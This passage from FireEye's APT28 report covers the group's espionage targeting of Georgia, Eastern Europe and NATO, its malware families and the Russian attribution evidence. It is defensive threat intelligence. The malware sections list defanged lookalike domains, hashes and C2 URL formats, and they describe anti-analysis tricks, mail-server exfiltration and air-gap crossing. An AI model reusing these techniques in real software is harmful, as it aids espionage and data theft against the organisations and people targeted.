6 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APT28 INTEREST IN
THE CAUCASUS,
PARTICULARLY GEORGIA
RUSSIA
Abkhazia                                                                    Chechnya
Kavkaz Center
GEORGIA
Tbilisi
ARMENIA
TURKEY                                                                               AZERBAIJAN
Armenian Military
Yerevan
T
he Caucasus, a region that includes            Since 2011, APT28 has used lures written in
Chechnya and other Russian republics and       Georgian that are probably intended to target
the independent states of Georgia,             Georgian government agencies or citizens.
Armenia, and Azerbaijan, continues to experience       APT28 is likely seeking information on Georgia’s
political unrest.
The Georgian government’s            security and diplomatic postures.
Specifically,
posture and ties to the West are a frequent            the group has targeted the Georgian Ministry of
source of Moscow’s frustration, particularly after     Internal Affairs (MIA) and the Ministry of
the 2008 war.
Overall, issues in the Caucasus          Defense (MOD).
We also observed efforts to
likely serve as focal points for Russian               target a journalist working on issues in the
intelligence collection efforts.
Caucasus and a controversial Chechen news site.
7 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Georgian Ministry of Internal Affairs (MIA)
APT28 made at least two specific attempts to target
the Georgian Ministry of Internal Affairs.
APT28 Targeting of the Georgian                                                      license numbers.
The backdoor attempted to
Ministry of Internal Affairs (MIA)                                                   establish a connection to a Georgian MIA mail
The MIA harbors sensitive information about the                                      server and communicate via MIA email addresses
inner workings of Georgia’s security operations, the                                 ending with “@mia.ge.gov”.
Once connected to the
country’s engagement in multilateral institutions,                                   mail server, APT28’s backdoor sent an email
and the government’s communications backbone.
It                                     message using a subject line related to driver’s
is responsible for3:                                                                 licenses (in Georgian), and attached a file
containing system reconnaissance information.
•	       Policing, internal security, and border patrols                             This tactic could allow APT28 to obtain data from
•	       Counterintelligence                                                         the MIA’s network through a less-monitored
•	       Counterterrorism                                                            route, limiting the MIA network security
•	       International relations                                                     department’s abilities to detect the traffic.
•	       Defense of Georgia’s strategic facilities
and assets                                                                  In the second example of MIA targeting, an APT28
•	       “Operative-Technical” tasks                                                 lure used an information technology-themed decoy
document that included references to the Windows
APT28 made at least two specific attempts to                                         domain “MIA Users\Ortachala…” (Figure 1).
target the MIA.
In one case, we identified an                                        This probably referred to the MIA facility in the
APT28 lure from mid-2013 that referenced                                             Ortachala district of Tbilisi, Georgia’s capital city.
MIA-related topics and employed malware that                                         The decoy document also contains metadata listing
attempted to disguise its activity as legitimate                                     “MIA” as the company name and “Beka Nozadze”4
MIA email traffic.
The lure consisted of a                                           as an author, a possible reference to a system
weaponized Excel file that presented a decoy                                         administrator in Tbilisi.
The text of the document
document containing a list of Georgian driver’s                                      purports to provide domain and user group setup
3
Georgian Ministry of Internal Affairs website http://police.ge/en/home
4
Queries on the author yielded a LinkedIn page for a person of the same name who serves as a system administrator in Tbilisi.
8 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
information for internal Windows XP and Windows    training the Georgian military.
APT28 used a lure
7 systems.
APT28 possibly crafted this document    document that installed a SOURFACE downloader
to appear legitimate to all MIA system users and   (further discussed in the Malware section) and
intended to breach the MIA network specifically    contained a listing of birthdays for members of a
using the embedded malware.
working group between the Georgian MOD and
the U.S. defense contractor.
The U.S. contractor
APT28 Targeting of the Georgian                    was involved in a working group to advise the MOD
Ministry of Defense                                and Georgian Armed Forces, assess Georgia’s
APT28 also appeared to target Georgia’s MOD        military capabilities, and develop a military training
along with a U.S. defense contractor that was      program for the country.
Figure 1: Georgian MIA-related decoy
9 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Figure 2: Excerpt of APT28’s letter to a journalist writing on Caucasus-related issues
We wish our cooperation will be both profitable and trusted.
Our aim in the Caucasian region is
to help people who struggle for their independence, liberty and human rights.
We all know, that
world is often unfair and cruel, but all together we can make it better.
Send your articles on this email – in Russian or English, please.
There are some difficulties with
Caucasian languages, but we’ll solve the problem pretty soon, I hope.
Targeting journalists could provide APT28 and its sponsors
with a way to monitor public opinion, identify dissidents,
spread disinformation, or facilitate further targeting.
We believe that APT28’s targeting of the MOD                                      APT28 Targeting a Journalist Covering
aligns with Russian threat perceptions.
The                                       the Caucasus
growing U.S.-Georgian military relationship has                                   Another one of APT28’s lures appeared to target
been a source of angst for Russia.
Georgia and                                    a specific journalist covering issues in the
Russia severed diplomatic relations following the                                 Caucasus region.
In late 2013, APT28 used a lure
Russia-Georgia War in 2008, and Georgia has                                       that contained a letter addressing a journalist by
since sought to align itself more closely with                                    his first name and claiming to originate from a
western security organizations.
Additionally, in                                  “Chief Coordinator” in Reason Magazine’s
June 2014, despite Russia’s vocal objections,                                     “Caucasian Issues Department” - a division that
Georgia, along with Ukraine and Moldova, signed                                   does not appear to exist.6 (Reason Magazine is a
association accords with the EU.5 This move                                       US-based magazine) The letter welcomed the
placed all three countries more firmly in the EU’s                                individual as a contributor and requested topic
political, economic, and security spheres of                                      ideas and identification information in order to
influence.
Georgian military security issues,                                     establish him at the magazine.
In the background,
particularly with regard to U.S. cooperation and                                  the decoy document installed a SOURFACE
NATO, provide a strong incentive for Russian                                      backdoor on the victim’s system.
state-sponsored threat actors to steal information
that sheds light on these topics.
5
“The EU’s Association Agreements with Georgia, the Republic of Moldova and Ukraine”.
European Union Press Release Database.
23 June 2014.
Web.
http://e uropa.eu/rapid/press-release_MEMO-14-430_en.htm
6
We attempted to identify candidate journalists in the country.
One of these was a Georgian national of Chechen descent, whose work appears to center on
Chechen and human rights issues.
Ultimately, however, we cannot confirm the identity of the target(s).
10 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Table 1: Examples of APT28 domains imitating organizations in the Caucasus
APT28 Domain               Real Domain
The Kavkaz Center / The Caucasus Center, an international Islamic news agency with coverage of
kavkazcentr[.
]info
Islamic issues, particularly Russia and Chechnya (kavkazcenter.com)
rnil[.
]am                  Armenian military (mil.am)
The body of the letter suggests that APT28 actors                                APT28’s Other Targets in the Caucasus
are able to read at least two languages – Russian                                We have seen APT28 register at least two
and English.
The grammar of the letter also                                      domains mimicking the domains of legitimate
indicates that English is not the author’s first                                 organizations in the Caucasus, as shown in the
language, despite it purportedly originating from a                              table below.
One APT28 domain imitated a key
US-based magazine.
This implies that Russian may                                 Chechen-focused news website, while the other
be the APT28 author’s preferred language.
appeared to target members of the Armenian
military by hosting a fake login page.
Targeting journalists could provide APT28 and its
sponsors with a way to monitor public opinion,                                   Of particular note, the Kavkaz Center is a
identify dissidents, spread disinformation, or                                   Chechen-run website designed to present an
facilitate further targeting.
Several other nation                               alternative view to the long-running conflict
states are suspected of targeting journalists and                                between Russia and Chechen separatists.
In
dissidents to monitor their activity, including China                            200410 and 2013,11 Russia’s Foreign Minister
and Iran.7,8 Journalists in the Caucasus working on                              voiced his displeasure that a Swedish company
Caucasus independence issues would be a prime                                    continues to host the Kavkaz Center website.
target for intelligence collection for Moscow.
Journalists critical of the Kremlin have long
been targets of surveillance and harassment,
and a number of governments and human
rights organizations have publicly criticized the
government for its treatment of journalists and its
increasing consolidation of control over the media.9
7
Moran, Ned, Villeneuve, Nart, Haq, Thofique, and Scott, Mike.
“Operation Saffron Rose”.
FireEye.
13 May 2014.
Web.
http://www.fireeye.com/blog/technical/
malware-research/2014/05/operation-saffron-rose.html
8
The New York Times publicly disclosed their breach by APT12, which they assess was motivated by the China-based actors’ need to know what the
newspaper was publishing about a controversial topic related to corruption and the Chinese Communist Party’s leadership.
9
“Russia”.
Freedom House Press Release.
2013.
Web.
http://www.freedomhouse.org/report/freedom-press/2013/russia#.VD8fe9R4rew
10
“Chechen website promotes terror: Lavrov”.
UPI.
16 November 2014.
Web.
http://www.upi.com/Top_News/2004/11/16/Chechen-website-promotes-
terror-Lavrov/UPI-11601100627922/
11
“Lavrov urges Sweden to ban Chechen website server” The Voice of Russia.
15 May 2013.
Web.
http://voiceofrussia.com/news/2013_05_15/Lavrov-urges-
Sweden-to-ban-Chechen-website-server/
11 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APT28 TARGETING OF
EASTERN EUROPEAN
GOVERNMENTS AND
MILITARIES
E
astern European countries’ political and
military postures are traditionally core Russian
Figure 3: Decoy MH17                                                                                               government interests.
The Kremlin has long
document probably sent
regarded the former Soviet Republics and satellite
to the Polish government
states as in its sphere of economic, political, and
military interest.
Over the past two decades, as many
of these states joined NATO and the EU, Russia has
attempted to regain its influence in the region.
Many
of APT28’s targets parallel this continued focus on
Eastern European governments and militaries.
APT28 Targets Eastern European
Government Organizations
We have evidence that APT28 made at least two
attempts to compromise Eastern European
government organizations:
•	    In a late 2013 incident, a FireEye device
deployed at an Eastern European Ministry of
Foreign Affairs detected APT28 malware in
the client’s network.
•	    More recently, in August 2014 APT28 used a
lure (Figure 3) about hostilities surrounding a
Malaysia Airlines flight downed in Ukraine in
a probable attempt to compromise the Polish
government.
A SOURFACE sample employed
in the same Malaysia Airlines lure was
referenced by a Polish computer security
company in a blog post.12 The Polish security
company indicated that the sample was “sent
to the government,” presumably the Polish
government, given the company’s location
and visibility.
12
“MHT, MS12-27 Oraz *malware*.info” Malware@Prevenity.
11 August 2014.
Web.
http://malware.prevenity.com/2014/08/malware-info.html
12 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Table 2: Examples of APT28 domains imitating legitimate Eastern European organization names
APT28 Domain                                                   Real Domain
standartnevvs[.
]com                                            Bulgarian Standart News website (standartnews.com)
novinitie[.
]com, n0vinite[.
]com                                Bulgarian Sofia News Agency website (novinite.com)
qov[.]hu[.
]com                                                 Hungarian government domain (gov.hu)
q0v[.
]pl, mail[.]q0v[.
]pl                                      Polish government domain (gov.pl) and mail server domain (mail.gov.pl)
poczta.mon[.]q0v[.
]pl                                          Polish Ministry of Defense mail server domain (poczta.mon.gov.pl)
We have evidence that APT28 made at least two attempts
to compromise Eastern European government
organizations.
APT28 has registered domains similar to those of                                   This domain registration suggests that APT28
legitimate Eastern European news sites and                                         sought to target individuals either participating in
governments, listed in Table 2.
These domain                                       the exercises or interested in Baltic military and
registrations not only suggest that APT28 is                                       security matters.
Such targets would potentially
interested in Eastern European political affairs,                                  provide APT28 with sensitive tactical and
but also that the group targets Eastern European                                   strategic intelligence concerning regional military
governments directly.
capabilities and relationships.
These exercises are
a particular point of interest in Moscow: pro-
In addition, APT28 used one domain for command                                     Kremlin press cited Russia’s interpretation of
and control sessions (baltichost[.
]org) that was                                   these military exercises and NATO’s involvement
themed after the Baltic Host exercises.
Baltic Host                                as a “sign of aggression,” and Russia’s Foreign
is a multinational logistics planning exercise, hosted                             Minister publicly stated that the exercise was “a
annually since 2009 by one of the three Baltic                                     demonstration of hostile intention.”15
States (Estonia, Latvia, and Lithuania, all three of
which are on Russia’s border) on a rotational basis.
In June 2014, this event was integrated with a
larger U.S. Army training event, and focused on
exercises to improve interoperability with regional
allies and partners.13, 14
13
“Saber Strike and Baltic Host kick off in Latvia, Lithuania and Estonia’.
Estonian Defense Forces.
9 June 2014.
Web.
11 June 2014. http://www.mil.ee/en/
news/8251/saber-strike-and-baltic-host-kick-off-in-latvia,-lithuania-and-estonia
14
“Baltic Host 2014 rendering host nation support for the training audience of Exercise Saber Strike 2014 and repelling faked cyber-attacks”.
Republic of
Lithuania Ministry of National Defense.
12 June 2014.
Web.
http://www.kam.lt/en/news_1098/current_issues/baltic_host_2014_rendering_host_nation_
support_for_the_training_audience_of_exercise_saber_strike_2014_and_repelling_faked_cyber-attacks.html
15
“Tanks, troops, jets: NATO countries launch full-scale war games in Baltic”.
Russia Today.
9 June 2014.
Web.
http://rt.com/news/164772-saber-strike-
exercise-nato/
13 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APT28 TARGETING OF
NATO AND OTHER
EUROPEAN SECURITY
ORGANIZATIONS
A
PT28’s lures and domain registrations also                                 elections.
Insider information about NATO, the
demonstrate their interest in NATO and                                     OSCE and other security organizations would
other European security organizations.
inform Russian political and military policy.
NATO remains a chief Russian adversary, or in the
words of Russia’s 2010 military doctrine, a “main                                   Several of the domains APT28 registered imitated
external military danger” particularly as it moves                                  NATO domain names, including those of NATO
“closer to the borders of the Russian Federation.”16                                Special Operations Headquarters and the NATO
As the traditional western counterweight to the                                     Future Forces Exhibition.
We also observed a user
Soviet Union, Russia regards NATO, particularly                                     that we suspect works for NATO HQ submit an
NATO’s eastward expansion, as a threat to Russia’s                                  APT28 sample to VirusTotal, probably as a result
strategic stability.
APT28 also registered a domain                                 of receiving a suspicious email.
name imitating the Organization for Security
and Cooperation in Europe (OSCE), an
intergovernmental organization that has cited
widespread fraud in numerous Russian state
Table 3: Examples of APT28 domains imitating legitimate NATO and security websites
APT28 Domain                                   Real Domain
nato.nshq[.
]in                                 NATO Special Operations Headquarters (nshq.nato.int)
natoexhibitionff14[.
]com                       NATO Future Forces 2014 Exhibition & Conference (natoexhibition.org)
login-osce[.
]org                               Organization for Security and Cooperation in Europe (osce.org)
16
The Military Doctrine of the Russian Federation, approved by Presidential edict on 5 February 2010.
14 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APT28 also demonstrated an interest in defense
attaches working in European countries.
We identified
an APT28 lure containing a decoy document with a list
of British officers and U.S. and Canadian military
attachés in London.
Figure 4: Decoy
document used
against military
attaches in 2012
Finally, APT28 used a lure that contained an apparent
non-public listing of contact information for defense
attachés in the “Ankara Military Attaché Corps (AMAC),”
which appears to be a professional organization of
defense attachés in Turkey.
Figure 5: Ankara
Military Attache Corps
decoy document
15 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APT28 Targets European                                SMi Group, a company that plans events for the
Defense Exhibitions                                   “Defence, Security, Energy, Utilities, Finance and
In addition to targeting European security            Pharmaceutical sectors.” Among other events, the
organizations and governments, it appears that        SMi Group is currently planning a military satellite
APT28 is targeting attendees of European              communications event for November 2014.
defense exhibitions.
Some of the APT28-
registered domains imitated those of defense          Targeting organizations and professionals
events held in Europe, such as the Farnborough        involved in these defense events would likely
Airshow 2014, EuroNaval 2014, EUROSATORY              provide APT28 with an opportunity to procure
2014, and the Counter Terror Expo.
In September       intelligence pertaining to new defense
2014, APT28 registered a domain (smigroup-            technologies, as well as the victim organizations’
online.co[.
]uk) that appeared to mimic that for the   operations, communications, and future plans.
Targeting organizations and
professionals involved in
these defense events would
likely provide APT28 with an
opportunity to procure
intelligence pertaining to
new defense technologies.
16 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
OTHER APT28 TARGETS
ARE CONSISTENT
WITH NATION STATE
INTERESTS
A
PT28 has targeted a variety of organizations
INTERNATIONAL ORGANIZATION
that fall outside of the three themes we
highlighted above.
However, we are not
profiling all of APT28’s targets with the same               European Commission
detail because they are not particularly indicative
of a specific sponsor’s interests.
They do indicate          UN Office for the Coordination of Humanitarian Affairs
parallel areas of interest to many governments
and do not run counter to Russian state interests.
APEC
Other probable APT28 targets that we have
identified:                                                  NATO
•	   Norwegian Army (Forsvaret)
OSCE
•	   Government of Mexico
•	   Chilean Military
•	   Pakistani Navy                                          World Bank
•	   U.S. Defense Contractors
•	   European Embassy in Iraq
•	   Special Operations Forces Exhibition (SOFEX)
OTHER
in Jordan
•	   Defense Attaches in East Asia
•	   Asia-Pacific Economic Cooperation (APEC)                Hizb ut-Tahir
•	   Al-Wayi News Site
Chechnya Global
KEY
APT28 Registered Domains
Diplomatic Forum
Lure Document
Military Trade Shows
Phishing Email
17 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
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APT28 Registered Domains
Lure Document
Phishing Email
18 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Our analysis of some of the group’s more
commonly used tools indicates that APT28
has been systematically updating their
malware since 2007.
APT28 MALWARE INDICATES
SKILLED RUSSIAN
DEVELOPERS
A
PT28’s tools are suggestive of the group’s      •	   SOURFACE: This downloader is typically
skills, ambitions, and identity.
Our analysis        called Sofacy within the cyber security
of some of the group’s more commonly                 community.
However because we have
used tools indicates that APT28 has been                     observed the name “Sofacy” used to refer to
systematically updating their tools since 2007.
APT28 malware generally (to include the
APT28 is most likely supported by a group of                 SOURFACE dropper, EVILTOSS,
developers creating tools intended for long-term             CHOPSTICK, and the credential harvester
use and versatility, who make an effort to                   OLDBAIT), we are using the name
obfuscate their activity.
This suggests that APT28           SOURFACE to precisely refer to a specific
receives direct ongoing financial and other                  downloader.
This downloader obtains a
resources from a well-established organization,              second-stage backdoor from a C2 server.
most likely a nation state government.
APT28’s               CORESHELL is an updated version of
malware settings suggest that the developers                 SOURFACE.
have done the majority of their work in a Russian       •	   EVILTOSS: This backdoor has been delivered
language build environment during Russian                    through the SOURFACE downloader to gain
business hours, which suggests that the Russian              system access for reconnaissance,
government is APT28’s sponsor.
monitoring, credential theft, and shellcode
execution.
Some of APT28’s more commonly used tools are            •	   CHOPSTICK: This is a modular implant
the SOURFACE downloader, its second stage                    compiled from a software framework that
backdoor EVILTOSS, and a modular family of                   provides tailored functionality and flexibility.
implants that we call CHOPSTICK.
19 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
A number of the malware variants that we profile     •	   One of the latest samples of CORESHELL
below, especially the CHOPSTICK family,                   includes counter-reverse engineering tactics
demonstrate formal coding practices indicative of         via unused machine instructions.
This would
methodical, diligent programmers.
The modularity          hinder static analysis of CORESHELL behavior
of CHOPSTICK alone, with its flexible and lasting         by creating a large amount of unnecessary
platform, demonstrates planning for long-term             noise in the disassembly.
use and versatility.
We have also noted that         •	   A number of CORESHELL droppers also
APT28 tailors implants to their target                    conduct runtime checks, attempting to
environments, configuring them to use local               determine if they are executing in an analysis
network resources such as email servers.
environment, and if so, they do not trigger
their payloads.
APT28 has attempted to obfuscate their code and      •	   Many samples across the SOURFACE/
implement counter-analysis techniques:                    CORESHELL, CHOPSTICK, and EVILTOSS
Figure 6: Typical deployment of SOURFACE ecosystem
Spearphishing Email
Document with exploit
Dropper malware
SOURFACE downloader                                      Obtains 2nd stage              C2 Server
Deploys 2nd stage droppers
2nd stage implant
20 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
malware families obfuscate strings that are       APT28 has made incremental and systematic
decoded at runtime.
Two of the malware            changes to the SOURFACE downloader and its
families (SOURFACE/CORESHELL and                  surrounding ecosystem since as early as 2007.
EVILTOSS) use the same decryption                 These changes indicate a long-standing and
sequence and similar algorithms for string        dedicated development effort behind APT28.
We
encoding and decoding.
These families             have observed samples of the SOURFACE
encode their strings at compile time using a      downloader compiled between 2007 and 2014.
custom stream cipher.
From a high level,          We call SOURFACE (samples are frequently
these ciphers share a similar design across       named netids.dll) a first stage downloader
the malware families but differ slightly in the   because its primary job is to retrieve a second
internal arithmetic operations.
stage payload from a C2 server.
Until 2013, the
•	    APT28 has employed RSA encryption to              SOURFACE downloader used hard-coded IP
protect files and stolen information moved        addresses for C2 communications, whereas the
from the victim’s network to the controller.
future CORESHELL samples use domains.
EVOLUTION OF
SOURFACE ECOSYSTEM
INDICATES SYSTEMATIC DEVELOPMENT
WHAT IS A MALWARE ECOSYSTEM?
First, a malware family is a collection of malware in which each sample shares a significant
amount of code with all of the others.
There are exceptions: for example, some files
contain public and standard code libraries that we do not take into consideration
when making a family determination.
A malware ecosystem is a group of malware families that work together to perform
the same objective.
Perhaps the simplest and most typical ecosystem
is a dropper and a backdoor that are used together.
They may not share the
same code structure, but they are related because one drops and installs
the other.
The ecosystem surrounding the SOURFACE downloader frequently
consists of a dropper, which installs SOURFACE.
The SOURFACE
downloader then receives another dropper from its C2 server, and
this second dropper installs a second stage backdoor, which is
usually EVILTOSS.
21 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
In April 2013, based on compile time, the group
began to make significant alterations to the                                 Figure 7: Example of modified SOURFACE vs. CORESHELL communications
SOURFACE downloader.
They started by
changing the compiled DLL name to “coreshell.dll”
and making minor changes to the network
communications, as seen in Figure 7.
SOURFACE URL for a sample compiled April 2013:
http://[hostname]/~book/cgi-bin/brvc.cgi?WINXPSP3c95b87a4-05_01
The hostname, volume serial number and OS
version data are encoded in the new URL format.
CORESHELL URL for a sample compiled April 2013:
As seen in the table below, the SOURFACE/                                    http://[hostname]/~xh/ch.cgi?enhkZm1GNmY1YWg0eGcxMGQ1MDUwMQ==
CORESHELL developers also made other
modifications that changed the exported function
name and file size over time.
Table 4: Evolution of SOURFACE downloader over time
MD5                                                        Size             Compile Date                                        Export Name                    Notes
272f0fde35dbdfccbca1e33373b3570d                           11264            2013-04-16 10:49:25 UTC                             Init1                          17
8b92fe86c5b7a9e34f433a6fbac8bc3a                           14848            2013-08-06 07:53:03 UTC                             Initialize                     18
9eebfebe3987fec3c395594dc57a0c4c                           12800            2013-08-14 10:48:59 UTC                             Initialize                     19
da2a657dc69d7320f2ffc87013f257ad                           12800            2013-08-21 07:52:10 UTC                             Initialize                     Same as previous.
1259c4fe5efd9bf07fc4c78466f2dd09                           12800            2013-10-03 09:21:10 UTC                             Initialize                     Same as previous.
3b0ecd011500f61237c205834db0e13a                           43520            2014-02-13 16:29:36 UTC                             Applicate                      20
5882fda97fdf78b47081cc4105d44f7c                           45056            2014-05-13 15:18:24 UTC                             Applicate                      21
791428601ad12b9230b9ace4f2138713                           45056            2014-05-13 16:42:26 UTC                             Applicate                      Same as previous.
ead4ec18ebce6890d20757bb9f5285b1                           45056            2014-07-25 15:44:04 UTC                             Applicate                      Same as previous.
48656a93f9ba39410763a2196aabc67f                           112640           2014-07-30 11:13:24 UTC                             Applicate                      22
8c4fa713c5e2b009114adda758adc445                           112640           2014-07-30 11:13:24 UTC                             Applicate                      Same as previous.
17
SOURFACE with minor changes to network communications (see Figure 7).
18
Basic anti-debug measures added (process listing, rand timing, is DebuggerPresent).
19
Switches from loading a secondary DLL (netui.dll/WinIDS.dll) to uploading the contents of %temp%\chkdbg.log.
20
Statically links msvcrt library.
21
Statically links msvcrt library and the strings used to identify the imported libraries and functions are reversed prior to being used, then reversed back after use.
22
This version added assembly level obfuscation, which slows down analysis.
This variant requires the OS to be at least Windows Vista.
22 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
In April 2013, based on compile time, the
group began to make significant alterations to
the SOURFACE downloader.
Figure 8: NATO-themed decoy
delivered with possible EVILTOSS
predecessor from 2004
Variants of the SOURFACE second stage                                                Interestingly, we found an antivirus report from
backdoor, EVILTOSS, share some code similarities                                     200423 detailing what appears to be an early
with SOURFACE.
However, it contains more                                             variant of EVILTOSS.
The backdoor was installed
capabilities, including the ability to provide access                                alongside the NATO-themed decoy document
to the file system and registry, enumerate network                                   depicted in Figure 8.
The backdoor sent data via
resources, create processes, log keystrokes, access                                  SMTP to nato_smtp@mail[.
]ru and received its
stored credentials, and execute shellcode.
The                                       tasking via POP from nato_pop@mail[.
]ru.
backdoor encrypts data that it uploads with an RSA                                   Although we have not conclusively attributed
public key.
Many of its variants we have seen are                                    this sample to APT28, it does suggest the
named netui.dll.
EVILTOSS variants may use the                                       possibility that APT28 has been operating since
Simple Mail Transfer Protocol (SMTP) to send                                         as early as 2004.24
stolen data in an attachment named “detaluri.
dat”.
The backdoor attaches this file to a
preformatted email and sends it out through a
victim’s mail server.
23
http://ae.norton.com/security_response/print_writeup.jsp?docid=2004-081915-1004-99
24
Although the malware family and interest in NATO make it likely that APT28 was involved, we cannot conclusively attribute this sample to APT28 based on
these factors alone.
We have no evidence that they controlled the C2 for this malware or were using EVILTOSS in 2004.
APT28 could have possibly obtained
this source code from another group of actors.
Also, malware can be passed from group to group.
The other malware that we associate with APT28 in this
paper is more strongly attributed to the group using additional factors, some of which we mention in Appendix A.
23 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
MODULAR IMPLANTS
INDICATE A FORMAL
DEVELOPMENT
ENVIRONMENT
A modular development framework                                                    CHOPSTICK variants may move messages and
information using at least three methods:
suggests the group has had an organized
development effort since as early as 2007.
1.
Communications with a C2 server using
HTTP.
These protocols are covered in more
detail in Appendix D.
2.
Email sent through a specified mail server.
One CHOPSTICK v1 variant contained
D
uring our research, we discovered that             modules and functions for collecting
APT28 uses a backdoor developed using a            keystroke logs, Microsoft Office documents,
modular framework.
We call this                    and PGP files.
The monitoring for new files of
backdoor CHOPSTICK, a somewhat ironic name                  interest is performed by a “Directory
that comes from our semi-random name                        Observer” module.
In one sample this
generator.
The modular design allows flexible               information was intended to be sent via
options for compiling variants with different               SMTP using a Georgian MIA mail server.
It
capabilities as needed, as well as deploying                used one of four embedded sender email
additional capabilities at runtime.
This allows the         addresses (@mia.gov.ge) to send files via
developers to make targeted implants, including             email to another email address on the same
only the capabilities and protocols necessary for a         mail server.
All information required for the
specific environment.
Such a modular framework              email was hardcoded in the backdoor.
suggests the group has had an organized               3.
Local copying to defeat closed networks.
development effort since as early as 2007.
A                One variant of CHOPSTICK focuses on
formal development environment, in which code is            apparent air gap / closed network capabilities
versioned and well-organized, would almost                  by routing messages between local
certainly be required to track and define the               directories, the registry and USB drives.
various modules that can be included in the
backdoor at compile time.
24 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APT28 MALWARE
INDICATES RUSSIAN
SPEAKERS IN A
RUSSIAN TIME ZONE
D
uring our research into APT28’s malware,                            interface items in a specific language.25 Non-default
we noted two details consistent across                              language settings packaged with PE resources are
malware samples.
The first was that                                 dependent on the developer’s build environment.
APT28 had consistently compiled Russian language                             Each PE resource includes a “locale” identifier with
settings into their malware.
The second was that                             a language ID “composed of a primary language
malware compile times from 2007 to 2014                                      identifier indicating the language and a sublanguage
corresponded to normal business hours in the UTC                             identifier indicating the country/region.”26
+ 4 time zone, which includes major Russian cities
such as Moscow and St. Petersburg.
At the time of the writing of this paper, we had
identified 103 malware samples that were both
Use of Russian and English Language                                          attributed to APT28 and contained PE resources.
Settings in PE Resources                                                     Table 5 shows the locale identifiers27 with
PE resources include language information that                               associated language and country/region for
can be helpful if a developer wants to show user                             these samples.
Table 5: Locale and language identifiers associated with APT28 malware
Number of APT28
Locale ID	               Primary language                                                            Country/Region
samples
0x0419                   Russian (ru)                                                                Russia (RU)                                  59
0x0409                   English (en)                                                                United States (US)                           27
0x0000 or 0x0800         Neutral locale / System default locale language                             Neutral                                      16
English (en)                                                                United Kingdom (GB)                          1
0x0809
25
Microsoft Developer Network – Multiple Language Resources http://msdn.microsoft.com/en-us/library/cc194810.aspx
Microsoft Developer Network – Language Identifier Constants and Strings http://msdn.microsoft.com/en-us/library/dd318693.aspx
26, 27
25 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
The samples with Russian language settings were           with Russian language settings at least some of
compiled between late 2007 and late 2013, as              the time and made no effort to obscure this
depicted in Figure 9.
This consistency over a             detail.
Overall, the locale IDs suggest that
long timeframe suggests that the developers of            APT28 developers can operate in both Russian
APT28 malware were using a build environment              and English.
Figure 9: Number of APT28 samples with Russian language settings by compile month
2007              December
2008              March
May
August
2009              February
May
September
2010              February
March
August
September
October
November
December
2011              April
June
September
December
2012              April
May
June
July
October
December
2013              January
July
August
October
November
December
0	        1	        2	       3	        4	         5	        6	       7	        8	       9
26 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
Compile Times Align with Working
Hours in Moscow and St. Petersburg
Of the 140 malware samples that we have
attributed to APT28 so far, over 89% were
compiled between 0400 and 1400 UTC time, as
depicted in Figure 10.
Over 96% were compiled
between Monday and Friday.
This parallels the
working hours in UTC+0400 (that is, compile
times begin about 8AM and end about 6PM in this
time zone).
This time zone includes major Russian
cities such as Moscow and St. Petersburg.
13:00                  14:00              15:00              16:00
Figure 10: Compile Times of APT28 malware in UTC Time
20
18
Moscow business hours
16
14
FREQUENCY
12
10
8
6
4
2
0   1	   2   3	   4   5   6    7     8    9   10    11     12   13   14     15    16   17   18   19   20   21   22      23   24
TIME OF DAY (UTC)
27 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
CONCLUSION
We started researching APT28 based on activity               APT28’s characteristics—their targeting, malware,
we observed on our clients’ networks, similar to             language, and working hours—have led us to
other targeted threat groups we have identified              conclude that we are tracking a focused, long-
over time.
We assess that APT28 is most likely               standing espionage effort.
Given the available
sponsored by the Russian government.
We                      data, we assess that APT28’s work is sponsored
summarize our key observations about APT28 in                by the Russian government.
Figure 11 below.
Figure 11: Summary of key observations about APT28
MALWARE
Evolves and Maintains Tools for Continued, Long-Term Use
•	 Uses malware with flexible and lasting platforms
•	 Constantly evolves malware samples for continued use
•	 Malware is tailored to specific victims’ environments, and is designed to hamper reverse engineering efforts
•	 Development in a formal code development environment
Various Data Theft Techniques
•	 Backdoors using HTTP protocol
•	 Backdoors using victim mail server
•	 Local copying to defeat closed/air gapped networks
TARGETING
Georgia and the Caucasus
•	 Ministry of Internal Affairs
•	 Ministry of Defense
•	 Journalist writing on Caucasus issues
•	 Kavkaz Center
Eastern European Governments & Militaries
•	 Polish Government
•	 Hungarian Government
•	 Ministry of Foreign Affairs in Eastern Europe
•	 Baltic Host exercises
Security-related Organizations
•	 NATO
•	 OSCE
•	 Defense attaches
•	 Defense events and exhibitions
RUSSIAN ATTRIBUTES
Russian Language Indicators
•	 Consistent use of Russian language in malware over a period of six years
•	 Lure to journalist writing on Caucasus issues suggests APT28 understands both Russian and English
Malware Compile Times Correspond to Work Day in Moscow’s Time Zone
•	 Consistent among APT28 samples with compile times from 2007 to 2014
•	 The compile times align with the standard workday in the UTC + 4 time zone which includes major Russian cities such
as Moscow and St. Petersburg
28 fireeye.com
APT 28: A Window into Russia’s Cyber Espionage Operations?
APPENDIX A:
DISTINGUISHING
THREAT GROUPS
We use the term “threat group” to refer to actors       Threat actors leave behind various forensic
who work together to target and penetrate               details.
They may send spear phishing emails from
networks of interest.
These individuals may share       a specific IP address or email address.
Their emails
the same set of tasks, coordinate targets, and          may contain certain patterns; files have specific
share tools and methodology.
They work together         names, MD5 hashes, timestamps, custom
to gain access to their targets and steal data.
